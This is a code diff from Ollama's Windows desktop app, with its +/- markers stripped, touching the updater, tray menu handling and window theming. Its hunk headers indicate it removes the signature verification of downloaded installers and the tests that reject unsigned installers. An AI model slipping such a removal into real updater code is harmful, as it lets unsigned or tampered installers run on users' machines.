closeErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
|
||||
if verifyErr != nil {
|
||||
return verifyErr
|
||||
}
|
||||
if closeErr != nil {
|
||||
return fmt.Errorf("close WinVerifyTrust state: %w", closeErr)
|
||||
}
|
||||
|
||||
subject, err := windowsInstallerSignerSubject(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Debug("verified update signature", "subject", subject)
|
||||
return nil
|
||||
}
|
||||
|
||||
func windowsInstallerSignerSubject(filename string) (string, error) {
|
||||
filename16, err := windows.UTF16PtrFromString(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var certStore windows.Handle
|
||||
var msg windows.Handle
|
||||
if err := windows.CryptQueryObject(
|
||||
windows.CERT_QUERY_OBJECT_FILE,
|
||||
unsafe.Pointer(filename16),
|
||||
windows.CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
|
||||
windows.CERT_QUERY_FORMAT_FLAG_BINARY,
|
||||
0,
|
||||
nil,
|
||||
nil,
|
||||
nil,
|
||||
&certStore,
|
||||
&msg,
|
||||
nil,
|
||||
); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CertCloseStore(certStore, 0) //nolint:errcheck
|
||||
defer cryptMsgClose(msg) //nolint:errcheck
|
||||
|
||||
var signerInfoSize uint32
|
||||
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, nil, &signerInfoSize); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if signerInfoSize == 0 {
|
||||
return "", fmt.Errorf("missing signer info")
|
||||
}
|
||||
|
||||
signerInfoBuf := make([]byte, signerInfoSize)
|
||||
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, unsafe.Pointer(&signerInfoBuf[0]), &signerInfoSize); err != nil {
|
||||
return "", err
|
||||
}
|
||||
signerInfo := (*cmsgSignerInfo)(unsafe.Pointer(&signerInfoBuf[0]))
|
||||
certInfo := windows.CertInfo{
|
||||
Issuer: signerInfo.Issuer,
|
||||
SerialNumber: signerInfo.SerialNumber,
|
||||
}
|
||||
|
||||
cert, err := windows.CertFindCertificateInStore(
|
||||
certStore,
|
||||
windows.X509_ASN_ENCODING|windows.PKCS_7_ASN_ENCODING,
|
||||
0,
|
||||
windows.CERT_FIND_SUBJECT_CERT,
|
||||
unsafe.Pointer(&certInfo),
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CertFreeCertificateContext(cert) //nolint:errcheck
|
||||
|
||||
parsed, err := x509.ParseCertificate(unsafe.Slice(cert.EncodedCert, cert.Length))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, org := range parsed.Subject.Organization {
|
||||
if org == "Ollama Inc." {
|
||||
return parsed.Subject.String(), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("unexpected signer: %s", parsed.Subject.String())
|
||||
}
|
||||
|
||||
func cryptMsgGetParam(msg windows.Handle, paramType, index uint32, data unsafe.Pointer, size *uint32) error {
|
||||
r1, _, e1 := procCryptMsgGetParam.Call(
|
||||
uintptr(msg),
|
||||
uintptr(paramType),
|
||||
uintptr(index),
|
||||
uintptr(data),
|
||||
uintptr(unsafe.Pointer(size)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
if e1 != syscall.Errno(0) {
|
||||
return e1
|
||||
}
|
||||
return syscall.EINVAL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cryptMsgClose(msg windows.Handle) error {
|
||||
r1, _, e1 := procCryptMsgClose.Call(uintptr(msg))
|
||||
if r1 == 0 {
|
||||
if e1 != syscall.Errno(0) {
|
||||
return e1
|
||||
}
|
||||
return syscall.EINVAL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -394,13 +219,13 @@ func IsProcRunning(procName string) []uint32 {
|
||||
defer windows.CloseHandle(hProcess)
|
||||
var module windows.Handle
|
||||
var cbNeeded uint32
|
||||
cb := uint32(unsafe.Sizeof(module))
|
||||
cb := (uint32)(unsafe.Sizeof(module))
|
||||
if err := windows.EnumProcessModules(hProcess, &module, cb, &cbNeeded); err != nil {
|
||||
continue
|
||||
}
|
||||
var sz uint32 = 1024 * 8
|
||||
moduleName := make([]uint16, sz)
|
||||
cb = uint32(len(moduleName)) * uint32(unsafe.Sizeof(uint16(0)))
|
||||
cb = uint32(len(moduleName)) * (uint32)(unsafe.Sizeof(uint16(0)))
|
||||
if err := windows.GetModuleBaseName(hProcess, module, &moduleName[0], cb); err != nil && err != syscall.ERROR_INSUFFICIENT_BUFFER {
|
||||
continue
|
||||
}
|
||||
|
||||
@@ -1,85 +1,13 @@
|
||||
//go:build windows
|
||||
//go:build windows || darwin
|
||||
|
||||
package updater
|
||||
|
||||
import (
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestVerifyDownloadRejectsUnsignedWindowsInstaller(t *testing.T) {
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
UpdateStageDir = t.TempDir()
|
||||
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := verifyDownload()
|
||||
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
|
||||
t.Fatalf("expected signature verification failure, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeAtStartupRejectsUnsignedWindowsInstaller(t *testing.T) {
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
oldRunningInstaller := runningInstaller
|
||||
oldUpgradeLogFile := UpgradeLogFile
|
||||
oldUpgradeMarkerFile := UpgradeMarkerFile
|
||||
oldVerifyDownload := VerifyDownload
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
runningInstaller = oldRunningInstaller
|
||||
UpgradeLogFile = oldUpgradeLogFile
|
||||
UpgradeMarkerFile = oldUpgradeMarkerFile
|
||||
VerifyDownload = oldVerifyDownload
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
UpdateStageDir = t.TempDir()
|
||||
runDir := t.TempDir()
|
||||
runningInstaller = filepath.Join(runDir, "OllamaSetup.exe")
|
||||
UpgradeLogFile = filepath.Join(runDir, "upgrade.log")
|
||||
UpgradeMarkerFile = filepath.Join(runDir, "upgraded")
|
||||
VerifyDownload = verifyDownload
|
||||
|
||||
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := DoUpgradeAtStartup()
|
||||
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
|
||||
t.Fatalf("expected signature verification failure, got %v", err)
|
||||
}
|
||||
if _, err := os.Stat(runningInstaller); !os.IsNotExist(err) {
|
||||
t.Fatalf("unsigned installer was moved before verification failed: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(bundle); !os.IsNotExist(err) {
|
||||
t.Fatalf("unsigned staged installer was not removed after verification failure: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsInstallerRunning(t *testing.T) {
|
||||
oldInstaller := Installer
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
}()
|
||||
|
||||
slog.SetLogLoggerLevel(slog.LevelDebug)
|
||||
Installer = "go.exe"
|
||||
if !isInstallerRunning() {
|
||||
|
||||
@@ -2535,9 +2535,19 @@ inline SIZE make_window_frame_size(HWND window, int width, int height,
|
||||
return {frame_width, frame_height};
|
||||
}
|
||||
|
||||
inline bool is_dark_theme_enabled() {
|
||||
constexpr auto *sub_key =
|
||||
L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize";
|
||||
reg_key key(HKEY_CURRENT_USER, sub_key, 0, KEY_READ);
|
||||
if (!key.is_open()) {
|
||||
// Default is light theme
|
||||
return false;
|
||||
}
|
||||
return key.query_uint(L"AppsUseLightTheme", 1) == 0;
|
||||
}
|
||||
|
||||
inline void apply_window_theme(HWND window) {
|
||||
// Ollama uses a light-only application appearance.
|
||||
constexpr bool dark_theme_enabled = false;
|
||||
auto dark_theme_enabled = is_dark_theme_enabled();
|
||||
|
||||
// Use "immersive dark mode" on systems that support it.
|
||||
// Changes the color of the window's title bar (light or dark).
|
||||
|
||||
@@ -78,9 +78,9 @@ func (t *winTray) wndProc(hWnd windows.Handle, message uint32, wParam, lParam ui
|
||||
t.app.Quit()
|
||||
case updateMenuID:
|
||||
t.app.DoUpdate()
|
||||
case openAppsMenuID:
|
||||
case openUIMenuID:
|
||||
// UI must be initialized on this thread so don't use the callbacks
|
||||
t.app.UIRun("/connect")
|
||||
t.app.UIShow()
|
||||
case settingsUIMenuID:
|
||||
// UI must be initialized on this thread so don't use the callbacks
|
||||
t.app.UIRun("/settings")
|
||||
@@ -174,7 +174,14 @@ func (t *winTray) wndProc(hWnd windows.Handle, message uint32, wParam, lParam ui
|
||||
}
|
||||
}
|
||||
case uint32(FOCUS_WINDOW_MSG_ID):
|
||||
focusUI(t.app)
|
||||
// Handle focus window request from another instance
|
||||
if t.app.UIRunning() {
|
||||
// If UI is already running, just show it
|
||||
t.app.UIShow()
|
||||
} else {
|
||||
// If UI is not running, start it
|
||||
t.app.UIRun("/")
|
||||
}
|
||||
lResult = 1 // Return non-zero to indicate success
|
||||
default:
|
||||
// Calls the default window procedure to provide default processing for any window messages that an application does not process.
|
||||
@@ -190,14 +197,6 @@ func (t *winTray) wndProc(hWnd windows.Handle, message uint32, wParam, lParam ui
|
||||
return
|
||||
}
|
||||
|
||||
func focusUI(app AppCallbacks) {
|
||||
if app.UIRunning() && app.UIOnboarding() {
|
||||
app.UIShow()
|
||||
return
|
||||
}
|
||||
app.UIRun("/connect")
|
||||
}
|
||||
|
||||
func (t *winTray) Quit() {
|
||||
// slog.Debug("XXX in winTray.Quit")
|
||||
t.quitting = true
|
||||
|
||||
@@ -1,47 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package wintray
|
||||
|
||||
import "testing"
|
||||
|
||||
type lifecycleApp struct {
|
||||
running bool
|
||||
onboarding bool
|
||||
runPath string
|
||||
showCall bool
|
||||
}
|
||||
|
||||
func (a *lifecycleApp) UIRun(path string) { a.runPath = path }
|
||||
func (a *lifecycleApp) UIShow() { a.showCall = true }
|
||||
func (a *lifecycleApp) UITerminate() {}
|
||||
func (a *lifecycleApp) UIRunning() bool { return a.running }
|
||||
func (a *lifecycleApp) UIOnboarding() bool { return a.onboarding }
|
||||
func (a *lifecycleApp) Quit() {}
|
||||
func (a *lifecycleApp) DoUpdate() {}
|
||||
|
||||
func TestFocusUICreatesOrShowsWindow(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
running bool
|
||||
onboarding bool
|
||||
wantRun string
|
||||
wantShow bool
|
||||
}{
|
||||
{name: "creates Apps window when tray only", wantRun: "/connect"},
|
||||
{name: "routes existing window to Apps", running: true, wantRun: "/connect"},
|
||||
{name: "preserves onboarding", running: true, onboarding: true, wantShow: true},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
app := &lifecycleApp{running: tt.running, onboarding: tt.onboarding}
|
||||
focusUI(app)
|
||||
if app.runPath != tt.wantRun {
|
||||
t.Errorf("run path = %q, want %q", app.runPath, tt.wantRun)
|
||||
}
|
||||
if app.showCall != tt.wantShow {
|
||||
t.Errorf("show called = %v, want %v", app.showCall, tt.wantShow)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ import (
|
||||
|
||||
const (
|
||||
_ = iota
|
||||
openAppsMenuID
|
||||
openUIMenuID
|
||||
settingsUIMenuID
|
||||
updateSeparatorMenuID
|
||||
updateAvailableMenuID
|
||||
@@ -28,7 +28,7 @@ const (
|
||||
)
|
||||
|
||||
func (t *winTray) initMenus() error {
|
||||
if err := t.addOrUpdateMenuItem(openAppsMenuID, 0, openAppsMenuTitle, false); err != nil {
|
||||
if err := t.addOrUpdateMenuItem(openUIMenuID, 0, openUIMenuTitle, false); err != nil {
|
||||
return fmt.Errorf("unable to create menu entries %w", err)
|
||||
}
|
||||
if err := t.addOrUpdateMenuItem(settingsUIMenuID, 0, settingsUIMenuTitle, false); err != nil {
|
||||
|
||||